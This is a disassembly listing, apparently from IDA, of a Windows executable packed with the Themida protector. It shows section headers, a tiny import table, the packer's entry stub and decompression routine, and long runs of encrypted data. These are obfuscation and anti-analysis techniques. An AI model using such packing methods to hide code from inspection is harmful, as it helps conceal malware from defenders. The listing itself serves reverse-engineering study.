dword_4DC910	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC914	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DC918	dd 2440758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DC91C	dd 2440758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 1B8h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4DF000h
a7icwCw		db '7╗Гw╣\Гw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0DF050h, 0DF000h, 3 dup(0)
		dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E0000)
; Virtual size			: 000E1000 ( 921600.)
; Section size in file		: 000E1000 ( 921600.)
; Offset to raw	data for section: 000E0000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E0000h
		dd 191BCB79h, 405E4h, 54090h, 95172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053E7C9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00541AAA SIZE 00000062 BYTES
; FUNCTION CHUNK AT 00541D20 SIZE 0000004D BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E0086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E0041
		popa
		jmp	short loc_4E0076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_4E0041:				; CODE XREF: start+18j
		call	$+5
		pop	eax


loc_4E0047:				; DATA XREF: ___:00437A34o
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E004E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E006D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E0074


loc_4E006D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E004E
; ---------------------------------------------------------------------------


loc_4E0074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E0076:				; CODE XREF: start+1Bj
		jmp	loc_4E0265
; ---------------------------------------------------------------------------
		db 3
		dd 26AB9C7h, 0CF03000Eh
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_4E0086:				; CODE XREF: start+8j
		mov	eax, offset loc_53E7C9
		mov	ecx, offset word_4E026A
		push	eax
		push	ecx
		call	sub_4E011B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E0265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
dword_4E00B8	dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
		dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
		dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh,	0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E011B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E0127:				; CODE XREF: sub_4E011B:loc_4E013Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E0132:				; CODE XREF: sub_4E011B+7Aj
					; sub_4E011B+C3j ...
		add	dl, dl
		jnz	short loc_4E013B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E013B:				; CODE XREF: sub_4E011B+19j
		jnb	short loc_4E0127
		add	dl, dl
		jnz	short loc_4E0146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0146:				; CODE XREF: sub_4E011B+24j
		jnb	short loc_4E0197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E0153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0153:				; CODE XREF: sub_4E011B+31j
		jnb	loc_4E0238
		add	dl, dl
		jnz	short loc_4E0162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0162:				; CODE XREF: sub_4E011B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E016D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E016D:				; CODE XREF: sub_4E011B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0178:				; CODE XREF: sub_4E011B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E0183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0183:				; CODE XREF: sub_4E011B+61j
		adc	eax, eax
		jz	short loc_4E018D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E018D:				; CODE XREF: sub_4E011B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0197:				; CODE XREF: sub_4E011B:loc_4E0146j
		mov	eax, 1


loc_4E019C:				; CODE XREF: sub_4E011B:loc_4E01B0j
		add	dl, dl
		jnz	short loc_4E01A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01A5:				; CODE XREF: sub_4E011B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E01B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01B0:				; CODE XREF: sub_4E011B+8Ej
		jb	short loc_4E019C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E01E3
		mov	ecx, 1


loc_4E01C0:				; CODE XREF: sub_4E011B:loc_4E01D4j
		add	dl, dl
		jnz	short loc_4E01C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01C9:				; CODE XREF: sub_4E011B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E01D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01D4:				; CODE XREF: sub_4E011B+B2j
		jb	short loc_4E01C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E01E3:				; CODE XREF: sub_4E011B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E01F1:				; CODE XREF: sub_4E011B:loc_4E0205j
		add	dl, dl
		jnz	short loc_4E01FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E01FA:				; CODE XREF: sub_4E011B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E0205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E0205:				; CODE XREF: sub_4E011B+E3j
		jb	short loc_4E01F1
		cmp	eax, 7D00h
		jnb	short loc_4E0228
		cmp	eax, 500h
		jb	short loc_4E0223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0223:				; CODE XREF: sub_4E011B+F8j
		cmp	eax, 7Fh
		ja	short loc_4E022B


loc_4E0228:				; CODE XREF: sub_4E011B+F1j
		add	ecx, 2


loc_4E022B:				; CODE XREF: sub_4E011B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0238:				; CODE XREF: sub_4E011B:loc_4E0153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_4E0259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_4E0132
; ---------------------------------------------------------------------------


loc_4E0259:				; CODE XREF: sub_4E011B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_4E011B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_53E7C9
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 15232DCh, 8B11BCFBh,	54BC2A84h, 6D656803h, 84616469h
		dd 3321AA7Eh, 0BBAF10EEh, 42B892C8h, 138BFABh, 25FEBE42h
		dd 7DB8B701h, 0D570E7F2h, 3A62479h, 1BD55DDCh, 7F840336h
		dd 1AE19822h, 2E35F2EFh, 1C30BC11h, 21312D34h, 71915F7Fh
		dd 0F9758570h, 1DC21D22h, 6552E0F5h, 61397473h,	70419C72h
		dd 789F2E5Eh, 21B24238h, 0FDAE102Eh, 0BF102B6Eh, 3203C6A1h
		dd 8BECEA47h, 0D410C572h, 5D80E860h, 32EBED81h,	8905E403h
		dd 80F7995h, 1C65B50Dh,	1F50859Ch, 0A1BD830Dh, 0C74C025h
		dd 12E88B39h, 0D5D3B8E2h, 3870DEC2h, 3EE62444h,	6A0C63A1h
		dd 29A3E845h, 749A0F68h, 0DF4A0783h, 4B25030Ah,	0D5D20A89h
		dd 214E921h, 1FAEC4Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pop	eax
		out	dx, al
		pop	edx
		or	[ecx+133D9EAh],	al
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0E630823h
		inc	eax
		mov	[edi], ebx
		or	[ecx+1D80987Dh], al
		jz	short loc_4E036E
		iret
; ---------------------------------------------------------------------------
		dd 83E60820h, 0FF6E4543h, 0E1EBE612h
		db 36h,	37h
; ---------------------------------------------------------------------------


loc_4E036E:				; CODE XREF: Themida_:004E035Dj
		fsub	qword ptr [ecx+26h]
		inc	ecx
		leave
		retn	4004h
; ---------------------------------------------------------------------------
		dw 8146h
		dd 0FF687CC4h, 22E24902h, 458D0034h, 5D0A8B80h,	1985C708h
		dd 8D505022h, 0C305D10Ah, 89411888h, 0BD810B45h, 145D0610h
		dd 0A127E375h, 6447BA8Dh, 8A807560h, 0F4BB240Eh, 0ABB8805Bh
		dd 0D3785437h, 0F61D07Eh, 0F7754B08h, 29C3AFD8h, 234A4647h
		dd 42F91546h, 8A61D115h, 0F03AD0D0h, 45EEC5FEh,	0EB4D05FCh
		dd 46AD1E04h, 403E8046h, 84BAF729h, 7D3034B7h, 0C87FEB0Ch
		dd 6D66F83Eh, 65F04212h, 1040F40Eh, 0F065C14Ah,	0F8D6A004h
		dd 3E01CD1h, 3328B0C2h,	1C0E8ADBh, 66FB8030h, 1E0A0A72h
		dd 9F057739h, 223379EBh, 0DFB6114h, 0B7660A3Fh,	0A7AF1E08h
		dd 10560AC3h, 7241181Ah, 77460A0Bh, 5124066Fh, 0F05D010Ch
		dd 8339F4ECh, 72028D7Dh, 0C09B0CB0h, 0AAB3A576h, 0E7F82620h
		dd 0B58D03h, 0FC553BA8h, 7854820Fh, 0AAE0B0BDh,	0BA2838DFh
		dd 0B9700870h, 0BDFC7054h, 356820h, 49470FFEh, 22B9FA75h
		dd 0BBEE6AE2h, 0F1FA0171h, 0CEB8237h, 868EC78Eh, 6E53710h
		dd 6F657051h, 0CAFD1D36h, 1407268Ah, 590005E9h,	10BC6753h
		dd 6B7F5CE6h, 8704FDF1h, 0C45B211Fh, 25558A20h,	45823305h
		dd 21001B08h, 9CC45343h, 68448DBh, 2C22BB52h, 0F16C6AC3h
		dd 8C5152CCh, 11C45939h, 1E88458Ah, 0C4514180h,	1656FBh
		dd 94B268FEh, 1076D283h, 27078B30h, 0E5AE482h, 675EA4F5h
		dd 1621ECEEh, 0C334CB8Ch, 4E391200h, 100F765Bh,	3D510FB8h
		dd 3B8ED104h, 754446CCh, 0B02E093Ah, 0EC480E11h, 906514E4h
		dd 84808E06h, 968E05C5h, 53AB9954h, 0C2040A8Fh,	718C8C29h
		dd 0ED0E7E0h, 0FF617686h, 477812Bh, 341D2280h, 33F984C1h
		dd 0BC207532h, 0AEE0E3Fh, 230EFCCh, 0E6198DA3h,	0FFCC7F8Ch
		dd 450C40F9h, 60A5E9FEh, 52C46200h, 8254D8Ch, 0B1AA8211h
		dd 0D05AAB4Ch, 56891384h, 825E1118h, 81A4EE2Ah,	136232A1h
		dd 88B9EA8Ah, 97142313h, 0C309A443h, 540704D9h,	0C8C45C61h
		dd 448C5D8Ah, 54034416h, 0EADF0FC4h, 0E1150714h, 2089E467h
		dd 2DAF500Bh, 0A3B06C0Eh, 0D2A720CAh, 11B5812h,	0BCDA8D67h
		dd 0E814A5F5h, 86C6E281h, 30490D85h, 90B08EAh, 7D002D5Ah
		dd 0BCEC867h, 6A8610CAh, 74611F53h, 4A001C46h, 0C57BB4FEh
		dd 30050E39h, 2A9686C8h, 2B029C0Ch, 0BCFD018Bh,	71AB35Dh
		dd 502522EAh, 0DA8B1375h, 81A4900Eh, 6C1900FFh,	6121C3ECh
		dd 2FFEB2BAh, 222FFA52h, 0E8B81F01h, 29E60D8Ah,	0A5251018h
		dd 18981D84h, 0D6E9A900h, 3D873FCDh, 6BC1FBAh, 3A08D844h
		dd 0E98127F6h, 1B334740h, 5E530083h, 0FAA8DEB1h, 0E0003F38h
		dd 3157EACBh, 160A32Bh,	82CAC010h, 916465C8h, 760012C7h
		dd 8CC56CF4h, 0E000A854h, 0A3A9287Eh, 24BC1D7Dh, 323685Fh
		dd 9958BF67h, 44393581h, 906C14DBh, 0B29BE73Dh,	61E0A5Ch
		dd 0F4C05654h, 6566BC89h, 2F0960EAh, 0E5FC4C35h, 8C55300Ch
		dd 1F52644h, 6766AC26h,	30C592BAh, 3605A11Fh, 87104679h
		dd 1D8AA020h, 26E95008h, 0EE040103h, 70973AEFh,	5408090h
		dd 8A105AF2h, 52DEA40Ch, 0D7285681h, 0E98424A3h, 4223A3Fh
		dd 82F29280h, 9E65F91Ch, 2C3A4838h, 77A98185h, 3BBFAC80h
		dd 90A94Bh, 2C0756F6h, 853EEEE1h, 7FE05300h, 0A6F5CF30h
		dd 0DD450EB7h, 0F927F03Bh, 6DF720EFh, 9F1854FBh, 0DC21D8F6h
		dd 0C7070091h, 0D115FEABh, 38000943h, 958B78C2h, 0F934A00Dh
		dd 627AB30h, 0B0ACDDB3h, 0B7000852h, 0E53C40C7h, 364A2Ah
		dd 0FF8813C5h, 8DFCC8BAh, 0CC7CB703h, 7C4ECBDBh, 6B180231h
		dd 127D9BEDh, 2AEE8940h, 0E829B000h, 28AB1F78h,	0C7C00ED4h
		dd 31406AF6h, 418F2CC5h, 29BA5E00h, 809CCF8h, 69240156h
		dd 84A74CCAh, 0ACC88F47h, 4B8A406Eh, 0FB9FD5h, 302F3CA1h
		dd 0A429EBB2h, 29C08175h, 540AFC12h, 88D906D2h,	0A156D0DBh
		dd 8D63030h, 9A845h, 6E5593BFh,	27D24E36h, 0F647AA0Ah
		dd 74809CD9h, 0DCA7E4EBh, 0CBB300E5h, 0E3DAABF5h, 9579CDEFh
		dd 960A1B06h, 0EA31DCF6h, 3B8A00E2h, 0A4AE9365h, 9D71F2CCh
		dd 8527CF00h, 0DAC8AC5Eh, 0FC47E8E4h, 38AB6183h, 865A2AD4h
		dd 0C6C54AB9h, 0D5F630A1h, 0EC270659h, 6C592F00h, 0D95578AAh
		dd 52410767h, 0A2651DD8h, 0A0E016F5h, 0F00F8FFh, 0D78F77DAh
		dd 0CBF744CBh, 2A835010h, 2ADBF321h, 0E75E23B0h, 1828A130h
		dd 0B90281h, 0BB36C8CDh, 0BE1DC0DEh, 2223FD18h,	18BFDA20h
		dd 50D8D777h, 4388D88h,	875D8326h, 10DDEB06h, 7ED03320h
		dd 393C5930h, 0E9068239h, 0CC86689Ch, 0B330231Fh, 19149031h
		dd 8980C7E6h, 63E06F32h, 0C978C1B0h, 3E1DBC00h,	0D4B2FCA4h
		dd 7E3B00F8h, 36E09BBh,	0F503D61Ah, 5BFDA2C2h, 0B3710027h
		dd 4BE4BF9h, 0D03D92FBh, 4A0B0212h, 0F035Fh, 0ADAC3695h
		dd 0C40021Eh, 0A30AE09Dh, 28809CA2h, 0F1BF9C5Eh, 4A6F3A4Bh
		dd 0D75F878Ch, 404257D9h, 70A7E11h, 3EC0796Fh, 4A5A3F1h
		dd 50872440h, 0F02461ABh, 0CC6E2FD7h, 270519E4h, 21E7F3A1h
		dd 5081C400h, 0CBFF5FD2h, 75805439h, 0EF1E9794h, 80048F3Fh
		dd 4F2738ABh, 6167BBD9h, 8B8338F5h, 0B348324h, 0FBC0A3h
		dd 0F238C741h, 0C1584EBDh, 9EB11560h, 7354B0Dh,	0F0041041h
		dd 6143E151h, 8D2FFCFAh, 55E02502h, 98F26257h, 0F4B90C8h
		dd 222EA138h, 0FA7E5DC0h, 0F000934Ch, 0A7F9504Dh, 88100246h
		dd 39CFDCE6h, 0F1366096h, 187F56CAh, 0A8773893h, 7B31A321h
		dd 709FC0F3h, 6203BBE0h, 1E3102Ch, 91BFA8A0h, 0EA58B114h
		dd 5F6201A7h, 0D45B8FD9h, 48199E20h, 0D216AB2Bh, 0F0440983h
		dd 0AF674022h, 0A4A2D4A0h, 96A33F3h, 0E3470858h, 90615Ch
		dd 21EFFB13h, 0F5310BAh, 34FAE900h, 5B29DCB4h, 0BBF9061Ch
		dd 0D1A6E62Eh, 9C758700h, 7451976Bh, 15C601ECh,	242153F3h
		dd 0F814501Ah, 0A700A5A0h, 8F8ACDF9h, 14918CBEh, 844F3F0Eh
		dd 1F115810h, 63C3C17Ah, 0EB77C080h, 6EB80ECAh,	0FDEC3905h
		dd 0E060E6A9h, 0C2C86359h, 0D1C5030Ah, 0FC972337h, 2011D88Eh
		dd 0D400FEE3h, 0DC632E3Ah, 1301390Ah, 781C8F4Ah, 90415B8Ah
		dd 0A801D9D3h, 6422C4h,	0C058B3E6h, 0B848428Eh,	495D4848h
		dd 0AC21F714h, 32E5C81Ch, 13E01E61h, 3D00BA0Eh,	0C24D200Ah
		dd 98F9EEDh, 32BEB752h,	0FEEF3082h, 826F5B02h, 2265FF8h
		dd 584483CDh, 0B78B573Bh, 5AE01817h, 303A61CAh,	0DAF1D62Bh
		dd 0D3087BBh, 0FBD4B0B4h, 9A213D2h, 7C3C009Eh, 8B84695Fh
		dd 501D6430h, 74A685Eh,	4721B00Ch, 0BE76D044h, 4E00709Eh
		dd 0D6EF2830h, 0E119D1h, 0AABF84FFh, 5B80968h, 82BB7603h
		dd 0A0E4BEE8h, 7E06F20Bh, 585D0365h, 33511BFh, 2DE7ADC0h
		dd 0B50059F8h, 7AF43B43h, 7A7E147h, 66C00980h, 7D56036h
		dd 810EABB1h, 0FBE6717h, 32BBC07Ch, 4A58AFh, 0B8A594FDh
		dd 2FA3F30Ch, 3C7CF149h, 0CD49005Dh, 8350F62Eh,	751327Bh
		dd 14A95FD8h, 0C5302805h, 5B7821C6h, 96E00D6h, 30837148h
		dd 0D738087Ch, 0F5416FA3h, 629093F0h, 0B2BF1824h, 0C23C1846h
		dd 0F0F580D9h, 0D843312Fh, 959401C7h, 833C7646h, 0E829A404h
		dd 79842210h, 84754910h, 8058F83Ch, 7C803F64h, 8C78C49Eh
		dd 48190002h, 70A6D7FCh, 5E31C1A3h, 63AF2507h, 0CC231B20h
		dd 8FC010D1h, 7A107B1Fh, 0F2011E69h, 5D015E92h,	0C8845037h
		dd 690C184h, 3C2F1F24h,	0EC5F0541h, 0BE306980h,	0B511834h
		dd 7D00C574h, 0C36DC963h
		dd 97E84A0h, 0FC5F3789h, 93212C83h, 1C6EF5B2h, 0FA000345h
		dd 0E1F702h, 1CF5AE7Fh,	0BA304F26h, 8FF3DC1Ch, 4C14B82Ah
		dd 10882CBEh, 9A792EE4h, 0A3A44050h, 31012448h,	0C60C3004h
		dd 0A4308C44h, 802B4493h, 0FD1267F4h, 8C45A590h, 1446B9A3h
		dd 3261D08Bh, 3828580Ah, 0A418C123h, 46EB7D01h,	0D73EE425h
		dd 0DB0839h, 30A543B9h,	39576927h, 88B2FDAEh, 7443C831h
		dd 361F29F0h, 342E890h,	3909C001h, 22D9827Ch, 503D220Ch
		dd 24C4C5Fh, 0D6450C63h, 890109DDh, 0C188276Ch,	0E38A02A4h
		dd 0F380AC05h, 0CE7B8E29h, 0CFFA0086h, 6CBFA6C7h, 4948F6CDh
		dd 3BD1000h, 1E645703h,	94C8326Fh, 390FD0D9h, 937CCE85h
		dd 4BF62008h, 18113C0Eh, 0D319DFE6h, 0CB65483Ch, 7EA18A00h
		dd 98E1335Eh, 7A135CB1h, 0BCABC804h, 172F6500h,	250B6FBFh
		dd 105DCFBBh, 8011ECBCh, 0C70447F3h, 0EE6B4D1Fh, 77624881h
		dd 0BC74C0E9h, 0A1BF7CA3h, 23100178h, 2A00EFC7h, 5DD29159h
		dd 9C6442Dh, 7F351F5Eh,	40668827h, 2BABD90Fh, 68342260h
		dd 0D63A5EFDh, 0FA6830E1h, 9509BBD6h, 0BB93083h, 4682446h
		dd 790BE346h, 1EFAF5E0h, 10480249h, 0E615DE87h,	270780DBh
		dd 97B30877h, 3086D0AAh, 90D33EA1h, 0AB37530Bh,	0F1E406F0h
		dd 91C87019h, 5F0F0108h, 250237F3h, 1356BC18h, 744C1411h
		dd 0BE89FAh, 0AAF2A2D3h, 0DC18033Bh, 173F80B8h,	6981E94h
		dd 77BB3800h, 18F0741Bh, 61DDE6FDh, 2984A56h, 7EC76600h
		dd 4F722BD9h, 4C790118h, 0FF6087AEh, 3F989DF9h,	4C41FD5h
		dd 0FD427A2Dh, 2EE07840h, 3BFCA7FCh, 0D5F43A05h, 0F3C0DD08h
		dd 26671F91h, 9E44C92Bh, 1CE817h, 0C707C55h, 7B456FEAh
		dd 314E0800h, 0D77FB988h, 858710BDh, 5D041299h,	84868088h
		dd 5DE924F8h, 5B55D00Ch, 0BDB81E61h, 2441957Fh,	0B3102759h
		dd 0C431CF21h, 0CD9F1117h, 12DD5BFCh, 61DB55h, 3329AA33h
		dd 0E503703Dh, 0F5B78126h, 0CF878977h, 2109F452h, 349F8B21h
		dd 25010C98h, 0CB7EB67Ah, 0AF5CA6Ch, 426F8420h,	0C5F3963h
		dd 4125E75Bh, 0C767EF6h, 0C9B5507h, 0F7004CB8h,	8433D551h
		dd 247C5FDBh, 40BCE85Eh, 742FC560h, 8D9DAD00h, 461A4223h
		dd 0EC79026Fh, 1BD8820Eh, 0C7C0A843h, 0ED4D7B86h, 0BB5F0B6Ch
		dd 5B20A08Bh, 58C8E1B9h, 27206886h, 1CA3A12Ch, 64842134h
		dd 0E31058A3h, 981A00CEh, 0A378AB40h, 608C91A8h, 0C270C319h
		dd 0AB24990Ch, 0F2D071EBh, 51146FC4h, 0EDB80012h, 0A81FA548h
		dd 0C1CC9200h, 31B4F193h, 0C558009Fh, 0AC3E027Bh, 0DC265DFDh
		dd 270460D0h, 0B4926367h, 8FAC8148h, 5910C9D3h,	56016645h
		dd 7386E179h, 0D8861491h, 48B13DEDh, 90CD1B20h,	0C00F4943h
		dd 0F0CCC438h, 7ED8B180h, 0A13B0E91h, 71F40362h, 0A942E2D2h
		dd 0E081AA2Dh, 0A3AB5F6Fh, 10A862F2h, 79182111h, 0E3332027h
		dd 0D917B616h, 93D39C30h, 0FD77009Fh, 0D2B5F23Ch, 2379BA9Eh
		dd 0CF35838h, 407C8E38h, 0BB500986h, 0D429EBE8h, 0C3900446h
		dd 7FF4CCF5h, 5C4D8B30h, 4D17A0Bh, 0C794D884h, 0B7DC81D5h
		dd 104F0323h, 4094528h,	583AB21h, 4020BCC8h, 0CCA4FF15h
		dd 84042853h, 50181081h, 0D940E7E1h, 842754A3h,	0D4937A79h
		dd 7A3FC819h, 31C581F8h, 0D2918024h, 556F1F65h,	1E8F787Eh
		dd 87D90604h, 49BD0D8h,	0A3250220h, 1E68506Ah, 0C24C0CDh
		dd 0B81050CAh, 8C415494h, 0A180FA60h, 0AC01972Ch, 9D3E882Eh
		dd 0C8B87404h, 0DE2B6498h, 0D6C430F0h, 0C20C6443h, 457C13CDh
		dd 0C784D838h, 84CA44h,	0B19E421h, 7726BD92h, 0A88300Ch
		dd 80D0ACEEh, 64988A7Fh, 9351F310h, 0F5BC0130h,	5F9440E8h
		dd 0CCB29670h, 0D350D0E7h, 295CF24Dh, 5F0A08B9h, 0B4A1C07Ah
		dd 0D4207745h, 30BD8ED0h, 0A891D48Fh, 0D260A35Ah, 1734FA79h
		dd 108F34A5h, 14A8C721h, 70B941FBh, 18509B57h, 0B24C5888h
		dd 51A50C4Ch, 0F370F6D4h, 0D06788h, 5C8AC720h, 8BE51A24h
		dd 624F3D00h, 0D40949DAh, 41B46050h, 0D5E7BCC7h, 42072892h
		dd 0A74AE521h, 0DC2B0A10h, 20370291h, 19CD2780h, 44CA9884h
		dd 0DE20A379h, 46888B5Fh, 3F0730E6h, 0A5D7C850h, 155EB000h
		dd 0D6A491BFh, 3A30166h, 0D3B87CA6h, 1EAFC8EDh,	46E89300h
		dd 3F55606Ah, 0E3C1007Eh, 0A6346321h, 0D70F25A3h, 60D299BEh
		dd 9836CD14h, 0C9730077h, 2ECA6718h, 3206F2A9h,	9615D45h
		dd 23E51140h, 0D74B009Ah, 0EEDC9EAFh, 37EF0014h, 0E08270BAh
		dd 5AFAD02Ah, 36015500h, 3E185045h, 0CF1F007Dh,	0A5C68E23h
		dd 2A02499Ch, 0EEA69EADh, 35EC920Ah, 0F8AA5F04h, 2909A77Fh
		dd 0DCA8ABh, 0BC2DD2D8h, 0F80B868h, 5BA590D5h, 6F6033CFh
		dd 6B10235Dh, 24CEC400h, 9FD4789Dh, 9A40C025h, 0E94C11A4h
		dd 70AEFC00h, 0E22AA383h, 0A14D0796h, 90AA3EF2h, 0DE756044h
		dd 9E1FDA04h, 2B01A60Ch, 0DF93A5h, 0A3FBD7h, 2AC97579h
		dd 0AC5FA2CCh, 0B44A0100h, 0A94C235Ah, 1FDE00CEh, 0A0D4378Dh
		dd 0C8C04017h, 0CD6111D5h, 79A41304h, 94381477h, 49C4EDBAh
		dd 95B10018h, 0CD11E3A2h, 700091FBh, 0C52ACA75h, 0E554D9Eh
		dd 4A6F36F1h, 0CE744BA0h, 0D90026E3h, 25A2D2C6h, 91A830h
		dd 0A34AE963h, 827ABC36h, 0D7FB950Fh, 0EA924094h, 0A6CEF9h
		dd 0C26E44E5h, 78A525C8h, 23A2CF03h, 98B32Ah, 39A36040h
		dd 967B7097h, 0AAD3D500h, 0F3FEA721h, 194A0073h, 0C8DE7710h
		dd 0C6009A16h, 2A4FECD1h, 10639EBFh, 0BEA66E4h,	35887B6Eh
		dd 0D200758Ch, 0D75EA8DEh, 0D59900B4h, 27D35FE3h, 0B70267A2h
		dd 0A5C12A87h, 46430023h, 3E011E47h, 2299C66Ah,	0A6FCC59Ah
		dd 0A814005Eh, 4AD2DAD4h, 92072CECh, 0EDA2776Fh, 0AB5BDDB0h
		dd 67F300EFh, 6E4E1059h, 21128325h, 0D800718Dh,	97B0295Fh
		dd 4FE500A8h, 86A7FCE7h, 2A00D8B8h, 0A250A6C3h,	3B69F304h
		dd 779F554Eh, 9E2783C2h, 70009834h, 639DAB2Fh, 7EF4BDAh
		dd 75786537h, 0DDE1C1C8h, 3CAC6049h, 0A763188h,	0A325C7C4h
		dd 0DF044888h, 0FC8B80FDh, 0E3455A3Fh, 67434100h, 6E5D4BD7h
		dd 340E5227h, 570037ACh, 401E3341h, 1F49CA6Eh, 0C207675Bh
		dd 0FDC4BD2Fh, 0F5E61014h, 0ABDF091Ch, 2E9CD803h, 0C3462D2h
		dd 2F2909E5h, 30659400h, 0FA036D86h, 18E8B68Eh,	8C4521F6h
